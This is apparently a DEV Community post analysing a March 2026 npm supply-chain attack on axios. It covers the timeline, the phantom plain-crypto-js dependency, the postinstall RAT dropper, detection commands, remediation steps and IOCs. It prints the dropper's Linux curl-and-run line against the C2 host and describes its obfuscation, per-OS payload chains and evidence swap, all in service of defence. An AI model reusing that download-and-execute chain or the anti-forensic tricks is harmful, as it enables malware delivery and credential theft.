DEV Community

Cover image for axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now
VIKAS
VIKAS

Posted on

axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now

TL;DRaxios@1.14.1 and axios@0.30.4 were compromised on March 31, 2026. A hijacked maintainer account published malicious versions that silently install a Remote Access Trojan on macOS, Windows, and Linux — and self-destruct to avoid detection. If you ran npm install in the last 24 hours, check your system NOW.


The Package That Powers the Internet Just Got Weaponized

axios has over 100 million weekly downloads. It's in nearly every JavaScript project on the planet — startups, enterprises, open source foundations, CI pipelines, and developer laptops. On the morning of March 31, 2026, two versions of it became weapons.

This wasn't a theoretical supply chain vulnerability. It was a live, operational attack. A cross-platform Remote Access Trojan was delivered to real developer machines. And the most terrifying part? npm audit shows nothing. npm list reports a clean version number. The malware self-destructs after running.

This article walks you through exactly what happened, how the attack technically works, how to check if you're compromised, and what permanent changes you should make to your workflow.


What Happened — The Attack Timeline

The operation was pre-staged 18 hours in advance. This was not opportunistic. Every artifact was purpose-built.

Timestamp (UTC) Event
Mar 30 · 05:57 plain-crypto-js@4.2.0 published — a clean decoy to establish publishing history
Mar 30 · 23:59 plain-crypto-js@4.2.1 published — the malicious payload added
Mar 31 · 00:21 axios@1.14.1 published via hijacked jasonsaayman account
Mar 31 · 01:00 axios@0.30.4 published — legacy 0.x branch also poisoned
Mar 31 · ~03:15 npm unpublishes both malicious versions. latest reverts to 1.14.0
Mar 31 · 03:25 npm initiates security hold on plain-crypto-js
Mar 31 · 04:26 npm publishes security-holder stub plain-crypto-js@0.0.1-security.0

Both poisoned releases were live for less than 3 hours. But 3 hours is more than enough time with 100M weekly downloads.


Step 1 — Account Hijack: The Entry Point

The attacker compromised the jasonsaayman npm account — the primary maintainer of axios. The account's registered email was changed to an attacker-controlled ProtonMail address: ifstap@proton.me.

Here's what makes this forensically detectable. Every legitimate axios 1.x release uses npm's OIDC Trusted Publisher mechanism — cryptographically tied to a verified GitHub Actions workflow. The malicious 1.14.1 breaks that pattern entirely:

// axios@1.14.0  LEGITIMATE
"_npmUser": {
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}

// axios@1.14.1  MALICIOUS
"_npmUser": {
  "name": "jasonsaayman",
  "email": "ifstap@proton.me"
  // No trustedPublisher. No gitHead. No corresponding GitHub commit or tag.
}
Enter fullscreen mode Exit fullscreen mode

There is no commit, no tag, no release in the axios GitHub repository corresponding to 1.14.1. The release exists only on npm. The attacker used a stolen long-lived classic npm access token — not the ephemeral OIDC token used by legitimate CI releases.


Step 2 — The Fake Dependency: plain-crypto-js@4.2.1

The actual malware was not inside axios. It was delivered through a phantom dependency.

The attacker added plain-crypto-js: "^4.2.1" to axios's package.json. This package — which never appears in any legitimate axios version — masquerades as the well-known crypto-js library. It clones all 56 source files bit-for-bit from the real crypto-js@4.2.0, making diff-based analysis find nothing suspicious.

The entire difference between the decoy (4.2.0) and the weapon (4.2.1) is three files:

File In 4.2.0 In 4.2.1
package.json No scripts section "postinstall": "node setup.js" added
setup.js Not present 4.2 KB obfuscated RAT dropper
package.md Not present Clean JSON stub for evidence destruction

The dependency injection diff in axios is equally surgical — exactly one file changed between 1.14.0 and 1.14.1:

# axios/package.json
- "version": "1.14.0",
+ "version": "1.14.1",
  "dependencies": {
    "follow-redirects": "^2.1.0",
    "form-data": "^4.0.1",
    "proxy-from-env": "^2.0.0",
+   "plain-crypto-js": "^4.2.1"
  }
Enter fullscreen mode Exit fullscreen mode

A grep across all 86 files in axios@1.14.1 confirms: plain-crypto-js is never imported or required anywhere in the axios source. Its only purpose is to trigger the postinstall hook.


Step 3 — The RAT Dropper: setup.js

setup.js is a minified, obfuscated Node.js file. All sensitive strings — module names, OS identifiers, the C2 URL, shell commands — are stored encoded in an array and decoded at runtime using a two-layer scheme: a XOR cipher followed by base64 decode with string reversal.

Once decoded, the dropper's logic is straightforward and terrifying.

The C2 Server

http://sfrclak.com:8000/6202033
Enter fullscreen mode Exit fullscreen mode

The 6202033 is a campaign tracking ID. The attacker receives separate callbacks per OS using distinct POST bodies:

  • macOS → packages.npm.org/product0
  • Windows → packages.npm.org/product1
  • Linux → packages.npm.org/product2

The packages.npm.org/ prefix is deliberate — it mimics legitimate npm registry traffic in network logs and SIEMs.

Platform-Specific Payloads

macOS — Writes an AppleScript to /tmp/6202033, executes it via nohup osascript, which downloads the RAT binary to /Library/Caches/com.apple.act.mond (named to mimic an Apple system daemon), makes it executable, and launches it via /bin/zsh. The script self-deletes.

Windows — Locates PowerShell via where powershell, copies it to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), writes a VBScript to temp, executes it via cscript //nologo in a hidden window. The VBScript fetches a PowerShell stage-2 payload and self-deletes. %PROGRAMDATA%\wt.exe persists across reinstalls — this is the Windows persistence mechanism.

Linux — Direct curl + Python chain:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
  && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
Enter fullscreen mode Exit fullscreen mode

The Execution Speed

The C2 contact happens 2 seconds into npm install — before npm has finished resolving all dependencies. The nohup process then persists as a detached daemon (re-parented to PID 1) that continues running in subsequent workflow steps, long after npm completes.

Anti-Forensics: The Evidence Swap

After launching the platform payload, setup.js performs three cleanup steps:

  1. Deletes itselffs.unlink(__filename)
  2. Deletes package.json — removes the file containing "postinstall": "node setup.js"
  3. Renames package.mdpackage.json — installs the pre-staged clean stub

The clean stub reports version 4.2.0 — not 4.2.1. So after infection:

$ npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0   # ← reports 4.2.0, not 4.2.1. The dropper already ran.
Enter fullscreen mode Exit fullscreen mode

Post-infection, npm audit is clean. npm list looks clean. The only forensic artifact is the existence of the node_modules/plain-crypto-js/ directory — because this package is not a dependency of any legitimate axios version. Its presence alone is proof of compromise.


Am I Affected? — Check Right Now

Run these commands in every project that uses axios:

Step 1 — Check for malicious axios versions

npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
Enter fullscreen mode Exit fullscreen mode

Step 2 — Check for the dropper directory

ls node_modules/plain-crypto-js 2>/dev/null && echo "⚠️  POTENTIALLY COMPROMISED"
Enter fullscreen mode Exit fullscreen mode

If this directory exists at all, the dropper ran. The version number inside is unreliable — it was replaced with a clean stub.

Step 3 — Check for RAT artifacts

# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "🚨 COMPROMISED"

# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "🚨 COMPROMISED"

# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
Enter fullscreen mode Exit fullscreen mode

Step 4 — Check your CI/CD history

Review any pipeline logs for npm install runs between March 31 00:21 UTC and March 31 03:15 UTC. Any pipeline that installed axios@1.14.1 or axios@0.30.4 should be treated as compromised and all injected secrets rotated immediately.


Remediation — Step by Step

1. Downgrade to a safe version and pin it

# For 1.x users
npm install axios@1.14.0

# For 0.x users
npm install axios@0.30.3
Enter fullscreen mode Exit fullscreen mode

2. Lock it with overrides to prevent transitive re-resolution

{
  "dependencies": { "axios": "1.14.0" },
  "overrides":    { "axios": "1.14.0" },
  "resolutions":  { "axios": "1.14.0" }
}
Enter fullscreen mode Exit fullscreen mode

3. Remove the malicious package and reinstall clean

rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts
Enter fullscreen mode Exit fullscreen mode

4. If RAT artifacts found — treat as full system compromise

Do not attempt to clean in place. Rebuild from a known-good state and rotate all credentials that were accessible on that system:

  • npm tokens
  • AWS / GCP / Azure access keys
  • SSH private keys
  • GitHub personal access tokens
  • All .env file secrets
  • CI/CD pipeline secrets

5. Block the C2 domain at the network level

# Linux — firewall block
iptables -A OUTPUT -d 142.11.206.73 -j DROP

# macOS/Linux — hosts file block
echo "0.0.0.0 sfrclak.com" >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Indicators of Compromise (IOCs)

Malicious npm Packages

Package Version SHA
axios 1.14.1 2553649f232204966871cea80a5d0d6adc700ca
axios 0.30.4 d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js 4.2.1 07d889e2dadce6f3910dcbc253317d28ca61c766

Network IOCs

Indicator Value
C2 domain sfrclak.com
C2 IP 142.11.206.73
C2 URL http://sfrclak.com:8000/6202033

File System IOCs

Platform Path
macOS /Library/Caches/com.apple.act.mond
Windows (persistent) %PROGRAMDATA%\wt.exe
Windows (temp) %TEMP%\6202033.vbs, %TEMP%\6202033.ps1
Linux /tmp/ld.py

Safe Versions

Package Safe Version SHA
axios 1.14.0 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
axios 0.30.3 (safe baseline)

What This Attack Teaches Us About Supply Chain Security

This incident is not just an axios story. It's a blueprint that will be reused.

The threat model has fundamentally shifted

The attacker didn't touch your code. They didn't exploit your application. They compromised a package your app trusts unconditionally. Every npm install is an implicit trust decision — and most teams make that decision dozens of times a day without thinking about it.

npm audit is not enough

npm audit checks for known CVEs in declared dependencies. It cannot detect a phantom dependency injected at the registry level, especially one that self-destructs its own evidence. Audit gives you a false sense of security for this class of attack.

postinstall hooks are the attack surface

The entire kill chain relies on one mechanism: postinstall scripts. npm executes these automatically during npm install. They run with the same permissions as the process that invoked npm — which on a developer machine often means full user-level access to credentials, SSH keys, and cloud tokens.

The permanent fix: --ignore-scripts in CI

# In your CI pipeline — add this permanently
npm ci --ignore-scripts
Enter fullscreen mode Exit fullscreen mode

This prevents ALL postinstall, preinstall, and lifecycle scripts from running during automated builds. For most production CI pipelines, you don't need these hooks — and disabling them eliminates the entire attack surface this incident exploited.

Trade-off: Some packages (native modules, Puppeteer, etc.) require postinstall scripts. Audit your dependencies and re-enable specific ones if required.

Prefer OIDC Trusted Publishing over long-lived tokens

The attacker used a stolen long-lived npm access token. The legitimate axios releases used OIDC ephemeral tokens tied to specific GitHub Actions workflows — tokens that cannot be stolen because they expire after a single use.

If you publish packages to npm, configure Trusted Publishing. It makes this exact attack vector impossible.

Lock your dependencies — actually lock them

# Commit your lockfile. Always.
git add package-lock.json
git commit -m "chore: update lockfile"

# Use npm ci in production, not npm install
npm ci  # Respects lockfile exactly. No surprise resolutions.
Enter fullscreen mode Exit fullscreen mode

npm install can resolve to a newer patch version if your semver range allows it. npm ci installs exactly what's in the lockfile. The malicious axios@1.14.1 would have been caught by a lockfile that pinned 1.14.0.


The Broader Picture: This Is Becoming Normal

This is among the most operationally sophisticated supply chain attacks documented against a top-10 npm package. Three OS payloads pre-built. A decoy package published 18 hours early to establish publishing history. A version number spoofing trick in the self-destruct routine. C2 traffic disguised as npm registry communication.

But the playbook itself is not new. We've seen it in event-stream (2018), ua-parser-js (2021), node-ipc (2022), and now axios (2026). Each attack is more sophisticated than the last.

The JavaScript ecosystem's open publishing model is its greatest strength and its greatest liability. Anyone can publish. Maintainers burn out and sell or lose access to their accounts. A package with 100 million weekly downloads can be weaponized in minutes.

The question isn't whether this will happen again. It's whether your team will be ready when it does.


Quick Reference Checklist

□ Checked npm list for axios@1.14.1 and axios@0.30.4
□ Checked for node_modules/plain-crypto-js/ directory
□ Checked for platform-specific RAT artifacts
□ Downgraded to axios@1.14.0 / 0.30.3
□ Added "overrides" block to package.json
□ Removed plain-crypto-js from node_modules
□ Reviewed CI/CD pipeline logs for affected time window
□ Rotated all credentials if dropper ran
□ Added --ignore-scripts to CI pipeline
□ Committed and locked package-lock.json
□ Blocked sfrclak.com at network/DNS level
Enter fullscreen mode Exit fullscreen mode

Resources


Verified and sourced from the official StepSecurity technical analysis published March 31, 2026, and the axios GitHub issue #10604. All IOCs, SHA hashes, timestamps, and code snippets are drawn directly from the primary source investigation.


If this helped you secure your systems, drop a ❤️ and share it with your team. The faster this spreads, the more developers stay protected.

Top comments (0)